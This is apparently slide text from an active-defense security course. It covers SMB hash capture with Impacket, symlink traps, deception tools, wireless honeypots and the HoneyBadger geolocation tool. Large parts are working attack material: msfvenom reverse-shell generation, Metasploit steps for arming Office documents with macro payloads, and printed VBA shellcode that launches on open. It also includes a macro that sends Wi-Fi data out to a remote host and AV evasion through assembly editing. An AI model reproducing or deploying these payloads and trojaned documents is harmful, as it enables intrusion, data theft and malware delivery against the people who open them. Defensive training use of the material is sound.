root@slingshot:/secretsuper#
```

Starting Impacket

root@slingshot: ~/impacket/examples

File Edit View Search Terminal Help

```
root@slingshot:~/impacket/examples# ./smbserver.py -comment 'secretsuper' SECRET /secretsuper
Impacket v0.9.16-dev - Copyright 2002-2017 Core Security Technologies

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
```

file

web_bug

```
adhd@DESKTOP-I1T2G01:/opt/impacket/examples$ sudo ./smbserver.py -smb2support -comment 'secret' SECRET /secret
Impacket v0.9.23.dev1+20210309.140316.90b17109 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (172.19.32.1,21306)
[*] AUTHENTICATE_MESSAGE (.\adhd,DESKTOP-I1T2G01)
[*] User DESKTOP-I1T2G01\adhd authenticated successfully
[*] adhd::.:aaaaaaaaaaaaaaaa:75cc3d4a6b3d9e3c10f68318157457d3:0101000000000000800ae07dce15d7013e76a3f2a2cc5a650000000001
0010004d004c0042004f004e00670070004f0002001000660079004d0076006800760058007300030010004d004c0042004f004e00670070004f0004
001000660079004d0076006800760058007300070008008 00ae07dce15d70106000400020000008003000300000000000000000000000003000001a
05a7e8931a3aafaabc26ccf3456564ea371de75fb7cb2bf3bfa422d5671ae80a0010000000000000000000000000000000000090024006300690066
0073002f003100370032002e00310039002e00340035002e0031003600340000000000000000
[*] Closing down connection (172.19.32.1,21306)
[*] Remaining connections []
[*] Incoming connection (172.19.32.1,21307)
[*] AUTHENTICATE_MESSAGE (.\adhd,DESKTOP-I1T2G01)
[*] User DESKTOP-I1T2G01\adhd authenticated successfully
[*] adhd::.:aaaaaaaaaaaaaaaa:f0272c802358f910aed8014593f1c849:0101000000000000800ae07dce15d701505181e2a6a658be0000000001
0010004d004c0042004f004e00670070004f0002001000660079004d0076006800760058007300030010004d004c0042004f004e00670070004f0004
001000660079004d0076006800760058007300070008008 00ae07dce15d70106000400020000008003000300000000000000000000000003000001a
05a7e8931a3aafaabc26ccf3456564ea371de75fb7cb2bf3bfa422d5671ae80a0010000000000000000000000000000000000090024006300690066
0073002f003100370032002e00310039002e00340035002e0031003600340000000000000000
[*] Closing down connection (172.19.32.1,21307)
[*] Remaining connections []
```

Open the File!

What a buggy document!

Select data Show structure Alter table New item

Select | Search | Sort | Limit 50 | Text length 100 | Action Select

SELECT * FROM `requests` LIMIT 50 Edit

edit	id	type	ip_address	user_agent	time
edit	1	css	192.168.192.1	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR...	1500487981
edit	1	img	192.168.192.1	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR...	1500487985

(2 rows) whole result

Look at Impacket data

root@slingshot: ~/impacket/examples

File Edit View Search Terminal Help

```
2002e0031003300340000000000000000000000000
[*] NetrWkstaGetInfo Level: 100
[*] NetrServerGetInfo Level: 101
[*] NetrShareEnum Level: 1
[*] Disconnecting Share(1:IPC$)
[*] Handle: [Errno 104] Connection reset by peer
[*] Closing down connection (192.168.192.1,52696)
[*] Remaining connections []
[*] Incoming connection (192.168.192.1,52703)
[*] AUTHENTICATE_MESSAGE (DESKTOP-F9R7R4I\john,DESKTOP-F9R7R4I)
[*] User john\DESKTOP-F9R7R4I authenticated successfully
[*] john::DESKTOP-F9R7R4I:4141414141414141:edf1787a2567bc116ef220ccc8aee636:0101000000000000080c32e8fba00d3016
4d79cf32ab05ee3000000000100100068005100440043005700510 04d005900020010007900480072006d004b006d0073007600030010
0068005100440043005700510 04d005900040010007900480072006d004b006d0073007600070008008 0c32e8fba00d30106000400020
0000008003000300000000000000010000000002000004a2ec7548369128b8606f510bccbc99555e05e270e9bd45b64c305dfea69c368
0a0010000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e00310039003
2002e0031003300340000000000000000000000000
[*] Disconnecting Share(1:IPC$)
[*] NetrGetShareInfo Level: 1
[*] NetrGetShareInfo Level: 1
[*] NetrWkstaGetInfo Level: 100
[*] NetrServerGetInfo Level: 101
[-] Unknown level for query path info! 0x109
[-] Unknown level for query path info! 0x109
[*] Disconnecting Share(3:IPC$)
```

Attribution

- ***Infinitely Recursive Windows Directories***

Infinitely Recursive Directories

- Possibly slow down exfiltration
- It can also crash some services
  - Possibly backups
  - Be careful
- Special thanks to Mark Baggett for this helpful version of Hasselhoff Recursion
  - Animated GIFs online
  - We don't recommend looking ;-)

Hasselhoff Recursion

How to Do It in Windows

```
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\John>cd \

C:\>mkdir \goaway

C:\>cd goaway
```

```
C:\goaway>mklink /D dir1 c:\goaway\
symbolic link created for dir1 <<===>> c:\goaway\
```

```
 Directory of C:\goaway\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\d
ir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\d
ir1\dir1\dir1\dir1

10/01/2011  07:29 AM    <DIR>          .
10/01/2011  07:29 AM    <DIR>          ..
10/01/2011  07:29 AM    <SYMLINKD>     dir1 [c:\goaway\]
               0 File(s)              0 bytes

     Total Files Listed:
               0 File(s)              0 bytes
              96 Dir(s)   8,044,331,008 bytes free

C:\goaway>
```

```
C:\goaway>mklink /D dir2 c:\goaway\
```

What Is the Effect?

- Dir /S continues forever
  - The S is for Sub-Directories
- Meterpreter continues forever
  - Or until the victim system is rebooted
  - Whichever comes first
- Even if the attacker's session is terminated

```
 Directory of C:\goaway\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\d
ir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir2\dir2\dir2\dir2\dir1\d
ir2\dir2\dir1

10/01/2011  07:32 AM    <DIR>          .
10/01/2011  07:32 AM    <DIR>          ..
10/01/2011  07:29 AM    <SYMLINKD>     dir1 [c:\goaway\]
10/01/2011  07:32 AM    <SYMLINKD>     dir2 [c:\goaway\]
               0 File(s)              0 bytes

 Directory of C:\goaway\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\d
ir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir2\dir2\dir2\dir2\dir1\d
ir2\dir2\dir1\dir1

10/01/2011  07:32 AM    <DIR>          .
10/01/2011  07:32 AM    <DIR>          ..
10/01/2011  07:29 AM    <SYMLINKD>     dir1 [c:\goaway\]
10/01/2011  07:32 AM    <SYMLINKD>     dir2 [c:\goaway\]
               0 File(s)              0 bytes

 Directory of C:\goaway\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\d
ir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir2\dir2\dir2\dir2\dir1\d
ir2\dir2\dir1\dir2

10/01/2011  07:32 AM    <DIR>          .
10/01/2011  07:32 AM    <DIR>          ..
10/01/2011  07:29 AM    <SYMLINKD>     dir1 [c:\goaway\]
10/01/2011  07:32 AM    <SYMLINKD>     dir2 [c:\goaway\]
               0 File(s)              0 bytes

 Directory of C:\goaway\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\d
ir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir2\dir2\dir2\dir2\dir1\d
ir2\dir2\dir2

10/01/2011  07:32 AM    <DIR>          .
10/01/2011  07:32 AM    <DIR>          ..
10/01/2011  07:29 AM    <SYMLINKD>     dir1 [c:\goaway\]
10/01/2011  07:32 AM    <SYMLINKD>     dir2 [c:\goaway\]
               0 File(s)              0 bytes

 Directory of C:\goaway\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\d
ir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir2\dir2\dir2\dir2\dir1\d
ir2\dir2\dir2\dir1

10/01/2011  07:32 AM    <DIR>          .
10/01/2011  07:32 AM    <DIR>          ..
10/01/2011  07:29 AM    <SYMLINKD>     dir1 [c:\goaway\]
10/01/2011  07:32 AM    <SYMLINKD>     dir2 [c:\goaway\]
               0 File(s)              0 bytes

 Directory of C:\goaway\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\d
ir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir2\dir2\dir2\dir2\dir1\d
ir2\dir2\dir2\dir2

10/01/2011  07:32 AM    <DIR>          .
10/01/2011  07:32 AM    <DIR>          ..
10/01/2011  07:29 AM    <SYMLINKD>     dir1 [c:\goaway\]
10/01/2011  07:32 AM    <SYMLINKD>     dir2 [c:\goaway\]
               0 File(s)              0 bytes

 Directory of C:\goaway\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\d
ir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir1\dir2\dir2\dir2\dir2\dir2

10/01/2011  07:32 AM    <DIR>          .
10/01/2011  07:32 AM    <DIR>          ..
10/01/2011  07:29 AM    <SYMLINKD>     dir1 [c:\goaway\]

     Total Files Listed:
               0 File(s)              0 bytes
```

Deception

README.md

Deception-Toolkit-2.0

Collection of host-based deception tools to delay and detect an attacker's enumeration and privilege escalation attempts after initial system compromise.

The Deception-Toolkit 2.0 currently contains honeypotted versions of the following Windows system utilities:

- whoami.exe
- net.exe
- systeminfo.exe
- ver.exe

Precompiled x86 and x64 executables are available. The raw autoit scripts is also available for ITSec people to customize as needed.

After compromising a computer, attackers will begin enumerating information about the host. To stay under the radar, or because they do not yet have sufficient privileges to upload their own tools, attackers will at first "live off the land" by leveraging commands and tools that are included in all current Windows operating systems.

- Attackers can invoke "whoami.exe" to discover the account they've exploited.
- Attackers can invoke "net.exe" to discover local accounts, local groups, network shares, and more.
- Attackers can invoke systeminfo.exe to discover a large amount of information about the host they've compromised, including hardware information, architecture, OS version number, hostname, network interfaces, and patches installed.
- Attackers can invoke ver.exe to discover the OS version.

What Does This Do?

Attack

The Law Is NOT Binary…

ZDNet SEARCH DEOS CXO WINDOWS 10 CLOUD INNOVATION SECURITY DATA CENTERS MORE NEWSLETTERS ALL WRITERS

FBI says its malware isn't malware because 'we're the good guys'

Another tale from the "twisted and illogical" department...

By Zack Whittaker for Zero Day | July 13, 2016 -- 19:06 GMT (12:06 PDT) | Topic: Security

RELATED STORIES

Security
Kaspersky fixes antivirus crash bug

Security
Victorian government gives Dimension Data AU$450k for cybersecurity

Security
Opera resets passwords after sync server hacked

Attack

- ***Wireless***

Wireless HoneyAP Example (1)

1. Set up a cloaked SSID (e.g. “COMPANY-Private”)
   - Hard to convince a jury they didn’t know it was yours ;-)
   - The cloaked SSID prevents innocent bystanders from even seeing it
2. Enable WPA2-PSK (Personal), but choose a guessable passphrase
   - Use one from the dictionary file that comes with aircrack-ng works well
   - This helps to prove intent and to put us on solid legal footing
3. Present a captive portal page complete with Terms of Use (TOU)
   - Use your logo and make it look official (we call it deception for a reason)
   - Attacker thinks it’s for the employees, not him…
   - Attacker must accept the Terms of Use before proceeding
   - Ensure the Terms of Use gives you sufficient authority (reviewed by legal)

Wireless HoneyAP Example (2)

4. Redirect the attacker to a page with the BeEF hook
   - Deliver some interesting content to hold his interest for a while
   - Ensure he doesn't hack through your trap into the inner sanctum
5. Use BeEF's Autorun Rule Engine to kick off desired modules
   - See slide notes for details
   - Dissolvable agents are usually best
   - Could be more aggressive depending on authorization and goals
6. OPTIONAL ACTIONS
   - Generate an alert (apprehend him?)
   - Block his MAC address on your production Wi-Fi network
   - Chuckle under your breath; go ahead, it's okay

Attack

- ***AV Bypass (for the Good Guys!)***

Malware, Glorious Malware

- There are some drawbacks to the "exploit-only" approach
  - Exploits can and will crash systems
  - It can be difficult to tell which client-side exploits will work
  - The target might be completely patched (no laughing)
- The approach is surprisingly effective
  - Bypass AV
  - Get a target to run your program
- Metasploit has a number of excellent custom malware options

DTE0011	Decoy Content	Seed content that can be used to lead an adversary in a specific direction, entice a behavior, etc.

Tie It Together with msfvenom

```
Terminal - adhd@adhd: /opt/metasploit
File  Edit  View  Terminal  Tabs  Help
$
$./msfvenom -p windows/shell/reverse_tcp_dns -e x86/shikata_ga_nai LHOST=127.0.0.1 -f exe > shell.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 394 (iteration=0)
$file shell.exe
shell.exe: PE32 executable (GUI) Intel 80386, for MS Windows
$
```

Other Virus-Checking Options: VirusTotal

HoneyClaymore

- Forget honeytokens, let's talk about honeyclaymores!
- If someone uses one of these files, it will compromise the system and open a reverse connection to you
  - Excel spreadsheets
  - Word documents
  - PDFs
- Be very careful!

Attack

- ***Arming Documents***

Evil Files

- Metasploit has multiple different file format exploits
- Metasploit also has the capability to insert payloads into a number of different formats
  - .xls
  - .doc
  - .ppt
  - .pdf
  - Others?

- Use these files in sensitive directories with names such as "Proposals," "SSN," and "Customer Data"

Creating a Macro Payload with Metasploit

Create the macro code using Metasploit

```
msf > use payload/windows/meterpreter/reverse_tcp
msf payload(reverse_tcp) > set LHOST <your_IP_here>
msf payload(reverse_tcp) > set LPORT 443
```

You can experiment with encoders as desired (often not necessary)

```
msf payload(reverse_tcp) > show encoders
msf payload(reverse_tcp) > set encoder <encoder_name_here>
```

```
msf payload(reverse_tcp) > generate -t vba -f /tmp/TrustMe.vba
[*] Writing 2715 bytes to /tmp/TrustMe.vba...
```

Putting the Macro into Your Document (1)

- The process varies per MS Office version
  - Match the Office version to the target's, if possible (usually not necessary)
  - Enable the Developer tab in the Ribbon
  - Press *Alt + F8* to open the Macros window
  - Name the macro, *apply to the current document*, click Create
  - Paste in the VBA code generated from Metasploit
  - Save as an "Excel Macro-Enabled Workbook"
  - Set up your Metasploit multi/handler
  - Test for detection in your test system(s)
  - Deploy!

Putting the Macro into Your Document (2)

Putting the Macro into Your Document (3)

Microsoft Visual Basic for Applications - Inventory list with reorder highlighting1

File Edit View Insert Format Debug Run Tools Add-Ins Window Help

Ln 50, Col 1

Project - VBAProject

VBAProject (Inventory li
Microsoft Excel Objects
Sheet1 (Inventory Li
ThisWorkbook
Modules
Module1

Properties - Module1

Module1 Module

Alphabetic | Categorized

(Name) Module1

Inventory list with reorder highlighting1 - Module1 (Code)

(General) | Workbook_Open

```
83, 104, 58, 86, 121, 167, 255, 213, 83, 83, 106, 3, 83, 83, 104, 187, 1, 0, 0, 232, _
140, 0, 0, 0, 47, 54, 88, 108, 48, 50, 0, 80, 104, 87, 137, 159, 198, 255, 213, 137, _
198, 83, 104, 0, 50, 224, 132, 83, 83, 83, 87, 83, 86, 104, 235, 85, 46, 59, 255, 213, _
150, 106, 10, 95, 104, 128, 51, 0, 0, 137, 224, 106, 4, 80, 106, 31, 86, 104, 117, 70, _
158, 134, 255, 213, 83, 83, 83, 83, 86, 104, 45, 6, 24, 123, 255, 213, 133, 192, 117, 10, _
79, 117, 217, 104, 240, 181, 162, 86, 255, 213, 106, 64, 104, 0, 16, 0, 0, 104, 0, 0, _
64, 0, 83, 104, 88, 164, 83, 229, 255, 213, 147, 83, 83, 137, 231, 87, 104, 0, 32, 0, _
0, 83, 86, 104, 18, 150, 137, 226, 255, 213, 133, 192, 116, 205, 139, 7, 1, 195, 133, 192, _
117, 229, 88, 195, 95, 232, 117, 255, 255, 255, 49, 48, 46, 49, 48, 46, 55, 56, 46, 50, _
48, 48, 0)

    Tknb = VirtualAlloc(0, UBound(Xhfclji), &H1000, &H40)
    For Wtb = LBound(Xhfclji) To UBound(Xhfclji)
        Terhrwu = Xhfclji(Wtb)
        Iuexovxli = RtlMoveMemory(Tknb + Wtb, Terhrwu, 1)
    Next Wtb
    Iuexovxli = CreateThread(0, 0, Tknb, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
```

Putting the Macro into Your Document (4)

Launching the Corresponding Metasploit multi/handler

```
msf > use exploit/multi/handler
msf exploit(handler) > set LHOST 0.0.0.0
msf exploit(handler) > set LPORT 443
msf exploit(handler) > set ExitOnSession false
msf exploit(handler) > exploit -j
[*] Exploit running as background job.
```

When they open the document, the payload is deployed…

```
[*] Sending stage (957487 bytes) to 10.10.10.10
[*] Meterpreter session 1 opened (10.10.78.200:443 -> 10.10.10.10:5420)
msf payload(reverse_tcp) > sessions -i 1
[*] Starting interaction with 1...
meterpreter >
```

It May Still Get Caught Upon Execution

- Even if anti-malware scanners don't detect the macro virus when scanning the file, they may detect them upon execution of the macro
- It's best to test this prior to deployment to avoid detection
- Always use the latest version of Metasploit

exe2vba.rb

- This tool converts any .exe file into .vba so it can be imported into Excel and Word documents
- It is located in the tools directory of Metasploit
- Now you can test your standalone .exe files and convert them to vba when you need to

```
#./exe2vba.rb notevil.exe notevil.vba
```

Generating Location Macros

The macro should be copied to the clipboard.

If not, simply copy and paste this into your document:

```
Sub AutoOpen()
   Set objWSH = CreateObject("WScript.Shell")
   wifi = objWSH.Exec("powershell netsh wlan show networks mode=bssid | findstr 'SSID Signal Channel'").StdOut.ReadAll

   Open Environ("temp") & "\wifidat.txt" For Output As #1
      Print #1, wifi
   Close #1

   wifi = objWSH.Exec("powershell Get-Content %TEMP%\wifidat.txt -Encoding UTF8 -Raw").StdOut.ReadAll

   Kill Environ("temp") & "\wifidat.txt"

   wifienc = objWSH.Exec("powershell -Command ""& {[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('" & wifi & "'))}""").StdOut.ReadAll

   Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP")
   objHTTP.Open "POST", "http://[redacted]:5000/api/beacon/aedc4c63-8d13-4a22-81c5-d52d32293867/VBA"
   objHTTP.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
   objHTTP.Send "os=windows&data=" & wifienc
End Sub
```

OK

Ghostwriting

- You can also roll up your sleeves and dive into assembly
- Remain calm and don't panic
- It is not that bad
  - Really
  - No
  - Really
- You will simply:
  1. Create an .exe
  2. Convert it to an .asm file
  3. Edit the .asm file
  4. Convert it back to an .exe file
- A big thanks goes to Royce Davis of Pentest Geek
- Visit http://www.pentestgeek.com/

Setup

Terminal - root@adhd: ~

File Edit View Terminal Tabs Help

```
root@adhd:~#  ln -s /opt/metasploit/lib/metasm/metasm.rb /usr/local/lib/site_rub
y/1.9.1/metasm.rb
```

Terminal - root@adhd: ~

File Edit View Terminal Tabs Help

```
root@adhd:~# ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0c:29:9c:56:dd
          inet addr:10.12.1.135  Bcast:10.12.1.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe9c:56dd/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2289 errors:0 dropped:0 overruns:0 frame:0
          TX packets:211 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:166882 (166.8 KB)  TX bytes:23593 (23.5 KB)
```

Creating the Binary

Terminal - root@adhd: /opt/metasploit

File Edit View Terminal Tabs Help

```
root@adhd:/opt/metasploit# ./msfpayload windows/meterpreter/reverse_tcp LHOST=10
.12.1.135 LPORT=8080 R > raw_binary
```

Converting to Assembly

Terminal - root@adhd: /opt/metasploit

File Edit View Terminal Tabs Help

```
root@adhd:/opt/metasploit# ruby /opt/metasploit/lib/metasm/samples/disassemble.r
b raw_binary > asm_code.asm
root@adhd:/opt/metasploit#
```

```
entrypoint_0:
    cld                                     ; @0  fc
    call sub_8ch                            ; @1  e886000000  x:sub_8ch
    pushad                                  ; @6  60
    mov ebp, esp                            ; @7  89e5
    xor edx, edx                            ; @9  31d2
    mov edx, fs:[edx+30h]                   ; @0bh  648b5230  r4:segment_ba
se_fs+30h
    mov edx, [edx+0ch]                      ; @0fh  8b520c  r4:unknown
    mov edx, [edx+14h]                      ; @12h  8b5214  r4:unknown


// Xrefs: 8ah
loc_15h:
    mov esi, [edx+28h]                      ; @15h  8b7228  r4:unknown
    movzx ecx, word ptr [edx+26h]           ; @18h  0fb74a26  r2:unknown
    xor edi, edi                            ; @1ch  31ff
```

Editing the Assembly

File Edit View Terminal Tabs Help

```
entrypoint_0:
    cld                                     ; @0  fc
    call sub_8fh                            ; @1  e889000000  x:sub_8fh
    pushad                                  ; @6  60
    mov ebp, esp                            ; @7  89e5
    xor edx, edx                            ; @9  31d2
    mov edx, fs:[edx+30h]                   ; @0bh  648b5230  r4:segment_base_fs+30h
    mov edx, [edx+0ch]                      ; @0fh  8b520c  r4:unknown
    mov edx, [edx+14h]                      ; @12h  8b5214  r4:unknown


// Xrefs: 8dh
loc_15h:
    mov esi, [edx+28h]                      ; @15h  8b7228  r4:unknown
    movzx ecx, word ptr [edx+26h]           ; @18h  0fb74a26  r2:unknown
    xor edi, edi                            ; @1ch  31ff


// Xrefs: 2ch
loc_1eh:
    xor eax, eax                            ; @1eh  31c0
/xor                                                        8,5          Top
```

```
// Xrefs: 2ch
loc_1eh:
    push eax
    pop eax
    xor eax, eax
```

Finalize the Payload

Terminal - root@adhd: /opt/metasploit

File Edit View Terminal Tabs Help

```
root@adhd:/opt/metasploit# ruby /opt/metasploit/lib/metasm/samples/peencode.rb a
sm_code.asm -o EveryVillianIsLemons.exe
saved to file "EveryVillianIsLemons.exe"
root@adhd:/opt/metasploit#
```

Terminal - root@adhd: /opt/metasploit

File Edit View Terminal Tabs Help

```
root@adhd:/opt/metasploit# file EveryVillianIsLemons.exe
EveryVillianIsLemons.exe: MS-DOS executable, MZ for MS-DOS
root@adhd:/opt/metasploit#
```

Multi/Handler

```
File  Edit  View  Terminal  Tabs  Help
  |^^^^^^^^^^^^^^^^|l___          /    _||__   \
  |    PAYLOAD     |""\___,      /    (_||_     \
  |________________|__|)__|     |     __||_)     |
  |(@)(@)"""**|(@)(@)**|(@)     "       ||       "
   = = = = = = = = = = = =        '--------------'
  +-------------------------+-------------------------+


       =[ metasploit v4.5.2-release [core:4.5 api:1.0]
+ -- --=[ 1037 exploits - 576 auxiliary - 174 post
+ -- --=[ 265 payloads - 28 encoders - 8 nops

msf > use exploit/multi/handler
msf  exploit(handler) >
msf  exploit(handler) > set LHOST 192.168.1.114
LHOST => 192.168.1.114
msf  exploit(handler) > set LPORT 8080
LPORT => 8080
msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.114:8080
[*] Starting the payload handler...
```

The Point?

- What worked in the past few slides might not work tomorrow
  - AV dodging is a very dynamic practice
  - New signatures pop up quickly
- You have to be flexible and creative when creating your payloads
- You have to test and re-test your results
  - Sometimes payloads get scrambled and don't work
- Sometimes you have to go beyond what tools such as Virus Total are telling you
- A little bit of Metasploit kung-fu can go a long way

Attack

- ***HoneyBadger***

HoneyBadger

- Excellent tool by Tim Tomes
- Simple(?) Java application that records geolocation of attackers
- Makes OS calls to query nearby wireless access point details
- Then, send the details via the Google Maps Geolocation API
- Google then dutifully returns the attacker's latitude/longitude
- Sometimes it works flawlessly and is remarkably accurate
- Other times? Well, not so much…
- Uses three different techniques
  - Wireless access point detection (ideal)
  - Asks for permission via JavaScript (not ideal)
  - IP-based geolocation (easily spoofed via VPNs/anonymizers/TOR/etc.)

HoneyBadger Don't Care If They're Using TOR!

Logs

```
[05/08/2013 20:54:12] [*] Input filtered:
U1NJRCAxIDogSm9obiBTdHJhbmQyJ3MgR3Vlc3QgTmV0d29yayAgICBCU1NJRCAxICAgICAgICAgICAgICAgICA6IDk2Ojg0OjBkOmRjOmJhOjZiICAgICAgICAgU2lnbmFsICAgICAgICAgICAgIDogNTM
AgICAgICAgICAgICAgOiA5Njo4NDowZDpkYzpiYTo2YyAgICAgICAgIFNpZ25hbCAgICAgICAgICAgICA6IDIzJSAgU1NJRCAyIDogSm9obiBTdHJhbmQyJ3MgTmV0d29yayAgICBCU1NJRCAxICAgICAgI
OjBkOmRjOmJhOjZiICAgICAgICAgU2lnbmFsICAgICAgICAgICAgIDogODAlICAgICAgQlNTSUQgMiAgICAgICAgICAgICAgICAgOiA5MDo4NDowZDpkYzpiYTo2YyAgICAgICAgIFNpZ25hbCAgICAgICA
AzIDogbGlua3N5cyAgICBCU1NJRCAxICAgICAgICAgICAgICAgICA6IDAwOjFlOmU1OmExOjc0OjU1ICAgICAgICAgU2lnbmFsICAgICAgICAgICAgIDogMTYlICBTU0lEIDQgOiBwYXRjaGVzICAgIEJTU
ICAgIDogNjg6N2Y6NzQ6ZWI6MmQ6NjcgICAgICAgICBTaWduYWwgICAgICAgICAgICAgOiAxNSUgIFNTSUQgNSA6IEhQMTAwLTEzNmRjOSAgICBCU1NJRCAxICAgICAgICAgICAgICAgICA6IDAyOjJlOjl
AgU2lnbmFsICAgICAgICAgICAgIDogMzglICA= =>
U1NJRCAxIDogSm9obiBTdHJhbmQyJ3MgR3Vlc3QgTmV0d29yayAgICBCU1NJRCAxICAgICAgICAgICAgICAgICA6IDk2Ojg0OjBkOmRjOmJhOjZiICAgICAgICAgU2lnbmFsICAgICAgICAgICAgIDogNTM
AgICAgICAgICAgICAgOiA5Njo4NDowZDpkYzpiYTo2YyAgICAgICAgIFNpZ25hbCAgICAgICAgICAgICA6IDIzJSAgU1NJRCAyIDogSm9obiBTdHJhbmQyJ3MgTmV0d29yayAgICBCU1NJRCAxICAgICAgI
OjBkOmRjOmJhOjZiICAgICAgICAgU2lnbmFsICAgICAgICAgICAgIDogODAlICAgICAgQlNTSUQgMiAgICAgICAgICAgICAgICAgOiA5MDo4NDowZDpkYzpiYTo2YyAgICAgICAgIFNpZ25hbCAgICAgICA
AzIDogbGlua3N5cyAgICBCU1NJRCAxICAgICAgICAgICAgICAgICA6IDAwOjFlOmU1OmExOjc0OjU1ICAgICAgICAgU2lnbmFsICAgICAgICAgICAgIDogMTYlICBTU0lEIDQgOiBwYXRjaGVzICAgIEJTU
ICAgIDogNjg6N2Y6NzQ6ZWI6MmQ6NjcgICAgICAgICBTaWduYWwgICAgICAgICAgICAgOiAxNSUgIFNTSUQgNSA6IEhQMTAwLTEzNmRjOSAgICBCU1NJRCAxICAgICAgICAgICAgICAgICA6IDAyOjJlOjl
AgU2lnbmFsICAgICAgICAgICAgIDogMzglICA

[05/08/2013 20:54:12] [*] Decoded Data:
SSID 1 : John Strand2's Guest Network    BSSID 1                : 96:84:0d:dc:ba:6b        Signal            : 53%      BSSID 2                : 96:84:0d:dc:ba:6c
Signal            : 23%  SSID 2 : John Strand2's Network    BSSID 1                : 90:84:0d:dc:ba:6b        Signal            : 80%      BSSID 2                :
90:84:0d:dc:ba:6c        Signal            : 23%  SSID 3 : linksys    BSSID 1                : 00:1e:e5:a1:74:55        Signal            : 16%  SSID 4 : patches    BSSID 1
: 68:7f:74:eb:2d:67        Signal            : 15%  SSID 5 : HP100-136dc9    BSSID 1                : 02:2e:9e:bb:07:bb        Signal            : 38%
[05/08/2013 20:54:12] [*] API URL used: https://maps.googleapis.com/maps/api/browserlocation/json?
browser=firefox&sensor=true&wifi=mac:96:84:0d:dc:ba:6b|ssid:John|ss:-47&wifi=mac:96:84:0d:dc:ba:6c|ssid:John|ss:-77&wifi=mac:90:84:0d:dc:ba:6b|ssid:John|ss:-20&wifi=mac:90:84:0d:
dc:ba:6c|ssid:John|ss:-77&wifi=mac:00:1e:e5:a1:74:55|ssid:linksys|ss:-84&wifi=mac:68:7f:74:eb:2d:67|ssid:patches|ss:-85&wifi=mac:02:2e:9e:bb:07:bb|ssid:HP100-136dc9|ss:-62
[05/08/2013 20:54:12] [*] JSON object retrived:
```

Google's Answer

```
[05/08/2013 20:54:12] [*] JSON object retrived:
{
    "accuracy" : 128.0,
    "location" : {
        "lat" : 44.33628059999999,
        "lng" : -103.70069770
    },
    "status" : "OK"
}
```

But No One Would Run This…

Or, Maybe They Would

The Trick Is Making Them Believe it Is Okay

Big Scary Bank

Just Two Weeks at a Bank

Taking Over a Botnet

A Note about the Jar Files

- They are self-signed
- Most newer instances of Java will not run them
- You need to set up your own code-signing cert
- This is not hard to do, but impossible for a class
- You could use your organization's cert
- Or, you could start a new company for this, as we did

Attack

- ***Lab: HoneyBadger***

Lab: HoneyBadger

- Now, it is up to you
- **You will need to connect your wireless card to the ADHD VM!!**
- Run through the HoneyBadger section of ADHD Tools_Usage document
- You may want to restart you VM first
- Remember, you need to reduce the security of your Java instance
- Medium seems to do just fine
- The goal of this lab is to show how we can get high accuracy attribution on bad guys
- ***<u>We will use the ADHD VM for this lab</u>***
- This lab should take roughly 20 minutes

ADHD LAB
ACTIVE DEFENSE HARBINGER DISTRIBUTION

Instructions on VM

Attack

- ***Backdoor example: Trojan Java Apps***

Summary (1)

- Active Defense
  - The employment of *limited offensive action and counterattacks* to deny a contested area or position to the enemy
  - Proactive, anticipatory, and reactionary actions against aggressors
  - The adversaries are already inside your gates
- Passive Defense
  - Measures taken to reduce the probability of and to minimize the effects of damage caused by hostile action *without the intention of taking the initiative*
  - Traditional static defenses (i.e., hope for the best)
- Prevent | Detection | Respond
  - Prevention is ideal, *but detection is a must*, and detection without response is of little value

Summary (2)
